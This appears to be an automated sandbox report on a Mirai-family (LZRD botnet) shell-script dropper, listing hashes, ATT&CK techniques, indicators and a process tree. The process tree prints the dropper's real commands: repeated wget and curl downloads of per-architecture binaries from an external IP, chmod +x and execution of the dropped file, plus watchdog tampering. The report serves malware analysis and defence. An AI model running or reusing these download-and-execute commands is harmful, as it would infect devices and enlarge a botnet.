mirai | ae6528be474ea7e0a07f30100b64b8b0146b673bd0bafbd200490f0b2155e5fc

Analysis

max time kernel
148s
max time network
147s
platform
debian-9_mipsel
resource
debian9-mipsel-20250619-en
resource tags

arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04/12/2025, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ohshit.sh
Size 3KB
Sample251204-hatb6abz7b
SHA256 ae6528be474ea7e0a07f30100b64b8b0146b673bd0bafbd200490f0b2155e5fc
MD5 7246ce795caea2cad9dcc42549721b2c
SHA1 e7f8d5fa19cf1f0ceb18f77bbb479b4e2102dbd7
SHA512 4ea28aaf001425a9aefefd8b0b7d4b4a71acf5f60618ef3d56a149db539d47f44c40ed2d56c7814de5dff9ffa66cb95b92dc48d5874d3c942d76b3892db9be4a
MD5 SHA1 SHA512

Score

10^/10

botnet lzrd defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
763	chmod
838	chmod
880	chmod
886	chmod
739	chmod
814	chmod
892	chmod
897	chmod
903	chmod
745	chmod
808	chmod
862	chmod
868	chmod
874	chmod
789	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	740	ohshit.sh
/tmp/Chaotic	746	ohshit.sh
/tmp/Chaotic	764	ohshit.sh
/tmp/Chaotic	790	ohshit.sh
/tmp/Chaotic	809	ohshit.sh
/tmp/Chaotic	815	ohshit.sh
/tmp/Chaotic	839	ohshit.sh
/tmp/Chaotic	863	ohshit.sh
/tmp/Chaotic	869	ohshit.sh
/tmp/Chaotic	875	ohshit.sh
/tmp/Chaotic	881	ohshit.sh
/tmp/Chaotic	887	ohshit.sh
/tmp/Chaotic	893	ohshit.sh
/tmp/Chaotic	898	ohshit.sh
/tmp/Chaotic	904	ohshit.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-7.dat	upx
behavioral4/files/fstream-8.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/705/status	Chaotic
File opened for reading	/proc/840/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/68/status	Chaotic
File opened for reading	/proc/322/status	Chaotic
File opened for reading	/proc/381/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/21/status	Chaotic
File opened for reading	/proc/121/status	Chaotic
File opened for reading	/proc/378/status	Chaotic
File opened for reading	/proc/713/status	Chaotic
File opened for reading	/proc/4/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/79/status	Chaotic
File opened for reading	/proc/243/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/9/status	Chaotic
File opened for reading	/proc/72/status	Chaotic
File opened for reading	/proc/80/status	Chaotic
File opened for reading	/proc/326/status	Chaotic
File opened for reading	/proc/377/status	Chaotic
File opened for reading	/proc/707/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/18/status	Chaotic
File opened for reading	/proc/19/status	Chaotic
File opened for reading	/proc/20/status	Chaotic
File opened for reading	/proc/119/status	Chaotic
File opened for reading	/proc/679/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/325/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/70/status	Chaotic
File opened for reading	/proc/76/status	Chaotic
File opened for reading	/proc/667/status	Chaotic
File opened for reading	/proc/324/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/status	Chaotic
File opened for reading	/proc/11/status	Chaotic
File opened for reading	/proc/36/status	Chaotic
File opened for reading	/proc/110/status	Chaotic
File opened for reading	/proc/710/status	Chaotic
File opened for reading	/proc/843/status	Chaotic
File opened for reading	/proc/71/status	Chaotic
File opened for reading	/proc/152/status	Chaotic
File opened for reading	/proc/671/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/3/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/69/status	Chaotic
File opened for reading	/proc/664/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/786/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/37/status	Chaotic
File opened for reading	/proc/74/status	Chaotic

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
793	wget
805	curl
807	cat
811	wget
812	curl
813	cat

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:710
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:715
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:720
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:738
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:740
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:744
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:746
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:748
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  PID:762
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:764
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:768
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:788
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:790
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:805
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:807
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:809
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:811
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:812
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:813
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:815
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:816
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  PID:836
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:839
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:856
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  PID:861
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:863
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:865
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:866
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  PID:867
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:869
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:871
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:872
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  PID:873
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:875
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:877
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  PID:879
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:881
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:883
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  PID:885
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:887
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:891
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:893
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:894
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  PID:896
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:898
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:900
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  PID:902
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/Chaotic
  ./Chaotic
  2⤵
  PID:904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Chaotic

Path /tmp/Chaotic
Size 34KB
SHA256 c13c619bb3beb9caa94910facaaa8b7947f06e475277a0cab0f0729e6e56df0b
MD5 fbc810fcc2d5f66b651b0266d06fb4a1
SHA1 e47152bacb502cac93311caacc25fa8bca24f24b
SHA512 47e9385eb309569dcd2bab751d71ba6324e85f1c3e8885cb99f147350711be49c839e7e04809beaa6885c10619c74ecd431fd39e02d39997e33d465f46a6eede
SSDEEP 768:vCkGi0D/4BfI7dZnRh7/IN0BIesyoXKot5V4oEAIpUMnbcuyD7UHQRjL:vBGbyqhXrTBrQX4oEyMnouy8Hy/
MD5 SHA1 SHA512 SSDEEP

Submit Download

Chaotic

Path /tmp/Chaotic
Size 36KB
SHA256 a6464a1fa55443cb28d7eab9c74045f446e9f08dff075670b82035afbb20351d
MD5 0f7561a8edaa071c4c9999de3b79c1c3
SHA1 9cb99668d052b19b1860a806f4af03cc2fc05410
SHA512 4d01762b636222eee782d729e7b28bd6f0c922d2c100aa04cdb434e40144317a776ed2a230f0889983fdc9e737e1cd4f920f75371d504f8173b0c16fb90fdcdc
SSDEEP 768:WwS0nQr9tpJEu0annIBqVqVHmwIHWUFtGtzXKTJtBwgUx0nZc:JOX80VqVi2otGtzXgzYMZc
MD5 SHA1 SHA512 SSDEEP

Submit Download

Chaotic

Path /tmp/Chaotic
Size 35KB
SHA256 94749f41f357a3f0d8b62d2bc3251852b0711755468aae0a390bbe42331dd549
MD5 d2efb33b1a1737f12e6877dad48e56da
SHA1 dbfbfbd46a48fb1cea5f8ffe970da8c0bce53970
SHA512 f3f237025c2b1da3bb5558a4dca6f4e53e3d8ee97e658d406624307152a36acf4e2f95cce2003a12e4089d0fde58d9b6185fe12196d4b855063f5e08fe59a1a2
SSDEEP 768:BW/zEpEYEgHE+Tc70R1cVC9owNnTAz9okfwq6AUug8nbcuyD7UHQRj4:E4B1E+TcAYC9owuif1enouy8Hy8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Chaotic

Path /tmp/Chaotic
Size 37KB
SHA256 2af6638b891578e2146bbdb84c32f92840ddc9040d85780c89141d587a1c13f9
MD5 ce6474458a11be3bc4f9aa07a89ba2ea
SHA1 7b823e4faf764ef5da59a13b70b80feba0fd6ddd
SHA512 6db23f76fefcb432654a29be06d653ae33bcc33ff8df36ccf34b0cce4e953ea2e915122a85ed22b947025a8819e44330f63a06c8398e9eb13bbe35d489be50ee
SSDEEP 768:cgN29x3ZpzZ5VjNuvtE54Fe7GbxBDbYsPs4P5KJSuJgGlzDpbuR1Jn:q9xJZZNKNFjBfRUMU3VJup
MD5 SHA1 SHA512 SSDEEP

Submit Download

Chaotic

Path /tmp/Chaotic
Size 82KB
SHA256 9c1522167d7a8c83ef608740afbb89008c836c8866bd0a9e31e98214943eea34
MD5 41aea47080908d5c15d25ce69df3f271
SHA1 c1cfc076df90db5c713974e45d8e94ea69f0b5c3
SHA512 bad57520affe04386fd47075d238487d6c20370852f9ce5ed7562752ed941209624f02e7eac9c4522e87f4696592e18a018aa27985db5975e85591c72b64d0e4
SSDEEP 1536:D/rMkOtfaR0glv2ZKsT5Z7BPxznCI0sCp8ud8dI1n:DYkwfCFlugsz9xznsxrd8dI1n
MD5 SHA1 SHA512 SSDEEP

Submit Download

busybox

Path /tmp/busybox
Size 857KB
SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
MD5 6ffc46165b5d9726a6607f3ea5305589
SHA1 ab127220f42e816b413dde0d17031e251a7bc98f
SHA512 456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8
SSDEEP 12288:JPhF2a+T7dHoLBMr/PgVbC47UnA+x9toFOUKPmG3QnPB9AG+PZQCfjrcDIQmin4D:JPhF2HTchw+jK+zFrCNYa+WUXSXPDd
MD5 SHA1 SHA512 SSDEEP

Submit Download

ub8ehJSePAfc9FYqZIT6.arc

Path /tmp/ub8ehJSePAfc9FYqZIT6.arc
Size 113KB
SHA256 90b7e578af0714b52a06ee50dce6db037bae1aabf28c3876f3d2f42740443bfa
MD5 770fc2fcb82f2719e9452fa7fc4cee47
SHA1 278dba280905234b4c3ed3872a0053c5ca5127b9
SHA512 b453171f95c124b884117662b92097ad308239e01fce24a3684e1ee48b83fd6ad070f645b2058dcd0c20ce7d055768c4292c6c4f01e04b0daab6fdbe91ad4256
SSDEEP 1536:pcdlYSuiBMW3zC8aRGGTtJM/qrlpmxJ6nDgDd/LWW:8YSZ3e8ZE3MYlphDgDdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads